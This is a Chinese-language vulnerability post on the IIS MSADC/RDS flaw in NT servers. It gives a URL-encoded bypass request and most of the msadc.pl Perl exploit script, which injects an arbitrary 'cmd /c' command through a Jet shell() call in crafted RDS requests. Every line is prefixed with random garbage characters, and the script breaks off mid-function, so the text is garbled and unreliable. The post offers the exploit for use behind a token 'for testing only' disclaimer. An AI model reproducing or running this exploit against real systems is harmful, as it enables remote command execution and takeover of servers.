IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
GjfPba4> EJz?GM 涉及程序:
K4{1}bU{> Microsoft NT server
zIeJ[J@ (9phRo)> 描述:
u@{z
xYn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]'[(MH" 3rUuRsXn 详细:
)qL UHE= 如果你没有时间读详细内容的话,就删除:
mk'$ |2O c:\Program Files\Common Files\System\Msadc\msadcs.dll
sb3k? q 有关的安全问题就没有了。
/ta5d;@ /|HVp 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M(8Mj[>>Rj h5do?b v! 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
zBKfaQI, 关于利用ODBC远程漏洞的描述,请参看:
?##3E,
/"9 ?c;T4@mB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~@Wg3'& .C=I~Z 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
eBs4:R_i http://www.microsoft.com/security/bulletins/MS99-025faq.asp 68
*~5] Z.iQm{bI 这里不再论述。
:CR1Oy 9 dP7nR1GS 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,1! ~@dhs + bU*"5" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'WC>
_L 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
VxKD>:3c l[P VWM yt@;yd:OEk #将下面这段保存为txt文件,然后: "perl -x 文件名"
6~rO( \@KK X #!perl
XP|qY1 #
H/I1 n\ # MSADC/RDS 'usage' (aka exploit) script
yltzf
#% #
|_A DG
# by rain.forest.puppy
8do7`mN #
$OAak # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
'ZUB:R@[ # beta test and find errors!
p[J 8
r{' VOY#Y*)g use Socket; use Getopt::Std;
A$a>=U|Z8 getopts("e:vd:h:XR", \%args);
Q6e;hl NF0=t}e print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v1m'p:7uGB ~*-%tFSv if (!defined $args{h} && !defined $args{R}) {
VGPBD-6) print qq~
"8%z,lHw Usage: msadc.pl -h <host> { -d <delay> -X -v }
@8;0p -h <host> = host you want to scan (ip or domain)
Ug1[pONk -d <seconds> = delay between calls, default 1 second
n_qDg -X = dump Index Server path table, if available
d${RZ}/ -v = verbose
uh8+Y%V
p -e = external dictionary file for step 5
|vI1C5e l[cBDNlrC; Or a -R will resume a command session
KBO{g:" /ad]pdF ~; exit;}
hHoc>S6^M @S>$y5if $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)dMXn2O if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?;c&5'7ct if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<8SRt-Cr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
KVC$o+<'`% $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|rhCQ"H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
DClV&\i=o @ a$HJ: if (!defined $args{R}){ $ret = &has_msadc;
Jm5&6= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
bTrQ(qp -2\%?A6L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KkF3E*q\H . "cmd /c ";
/;K?Y#mf~j $in=<STDIN>; chomp $in;
fho$:S $command="cmd /c " . $in ;
>JWW2< UojHlTg#bT if (defined $args{R}) {&load; exit;}
`~.0PnHf UyWKE< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
aV6l"A] &try_btcustmr;
mDJg-BQ / >As9|% print "\nStep 2: Trying to make our own DSN...";
WL6p+sN' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<"8<< eT4+O5t print "\nStep 3: Trying known DSNs...";
I {o\d'/ &known_dsn;
, id`=L= 7H=^~J print "\nStep 4: Trying known .mdbs...";
7ql&UIeQ &known_mdb;
=q4QBAW vA(')"DDT if (defined $args{e}){
<r1N6(n print "\nStep 5: Trying dictionary of DSN names...";
Z\)emps &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!:7aXT*D$ VHUOI64* print "Sorry Charley...maybe next time?\n";
'h:[[D%H` exit;
U_/<tWl\[3 _1?
PN8 ##############################################################################
@NY$.K#] 2Y2J)5, sub sendraw { # ripped and modded from whisker
GkutS.2G# sleep($delay); # it's a DoS on the server! At least on mine...
2Y+8!4^L
a my ($pstr)=@_;
FQ72VY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>~% _U+6 die("Socket problems\n");
:2\H>^uV if(connect(S,pack "SnA4x8",2,80,$target)){
s)e' }y select(S); $|=1;
=u+.o<
print $pstr; my @in=<S>;
<>&!+|# select(STDOUT); close(S);
~H0WHqcy return @in;
#f 4" } else { die("Can't connect...\n"); }}
z3lMD'uU3 ic+tn9f\ ##############################################################################
j1LL[+G-"_ -c1$>+ sub make_header { # make the HTTP request
v8<MAq my $msadc=<<EOT
ZV=)`E`I| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
QCI-YJ&o User-Agent: ACTIVEDATA
@$ea-fK?? Host: $ip
~
3HI; Content-Length: $clen
6-'Y* Connection: Keep-Alive
XP$ 1CWI -i}@o1o\ ADCClientVersion:01.06
1HBdIWhHv. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
xzGs%01] @+S5"W --!ADM!ROX!YOUR!WORLD!
e?&4; Content-Type: application/x-varg
l*l(QvN_ Content-Length: $reqlen
=}12S:Qhj TAbC-T.EV EOT
tvC7LL NP< ; $msadc=~s/\n/\r\n/g;
@Lj28&4:< return $msadc;}
(S@H'G" P9wx`x""k ##############################################################################
+bj[. 8")1, sub make_req { # make the RDS request
^<@9ph my ($switch, $p1, $p2)=@_;
#Moju my $req=""; my $t1, $t2, $query, $dsn;
^H,o I* <.d0GD`^ if ($switch==1){ # this is the btcustmr.mdb query
O*<,lq 0K $query="Select * from Customers where City=" . make_shell();
W .c:Pulg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/FZ@Z]Q0G $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
41595x: FL5tIfV+ elsif ($switch==2){ # this is general make table query
xY/
S;dE $query="create table AZZ (B int, C varchar(10))";
U 9?!|h;7 $dsn="$p1";}
\mt0mv;c }b#KV?xgW elsif ($switch==3){ # this is general exploit table query
FuYV}C $query="select * from AZZ where C=" . make_shell();
XG5mfKMt+ $dsn="$p1";}
XZaei\rUn) <*Kj7o{Qn elsif ($switch==4){ # attempt to hork file info from index server
wec|~Rc- $query="select path from scope()";
8bB'[gJ]{ $dsn="Provider=MSIDXS;";}
P2nb&lVdu !2('Cq_^ elsif ($switch==5){ # bad query
*lN>RWbM% $query="select";
&k5 Z|d| $dsn="$p1";}
]<0|"NL t._W643~ $t1= make_unicode($query);
<tEN1i $t2= make_unicode($dsn);
Ou
_bM n $req = "\x02\x00\x03\x00";
&&}' $req.= "\x08\x00" . pack ("S1", length($t1));
ACg5" $req.= "\x00\x00" . $t1 ;
)ow|n^D($M $req.= "\x08\x00" . pack ("S1", length($t2));
T/%s7!E $req.= "\x00\x00" . $t2 ;
6 ]@H .8+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.[-d( #l{l return $req;}
a9ab>2G?FR cTKj1)!z?X ##############################################################################
:VPZGzK4 uC>X;<^ sub make_shell { # this makes the shell() statement
^n|u$gIF8 return "'|shell(\"$command\")|'";}
_RFTm.9& >
dJvl | ##############################################################################
T(<C8 (R*K)(Nw[ sub make_unicode { # quick little function to convert to unicode
F3\' WQh my ($in)=@_; my $out;
Tsez&R$k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*8zn\No<, return $out;}
+oY[uF fjUyx: ##############################################################################
^/wvHu[# Rld1pX2v sub rdo_success { # checks for RDO return success (this is kludge)
A| #9 my (@in) = @_; my $base=content_start(@in);
r^?Q o
if($in[$base]=~/multipart\/mixed/){
RZ!-,|"cwL return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ta*B#2D> return 0;}
,%+i}H,3 1/Pou)D ##############################################################################
\c&%F=1+* 4VjP:>*p sub make_dsn { # this makes a DSN for us
HR55|`] my @drives=("c","d","e","f");
;zD1#dD print "\nMaking DSN: ";
A0SEzX({[ foreach $drive (@drives) {
-.|V S|y print "$drive: ";
C?e1 a9r my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.0:twj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[s-Km/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
V`V
Z[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
k0{5)Su"xr return 0 if $2 eq "404"; # not found/doesn't exist
*5k" v"NM( if($2 eq "200") {
ZM/*cA!" foreach $line (@results) {
Y" &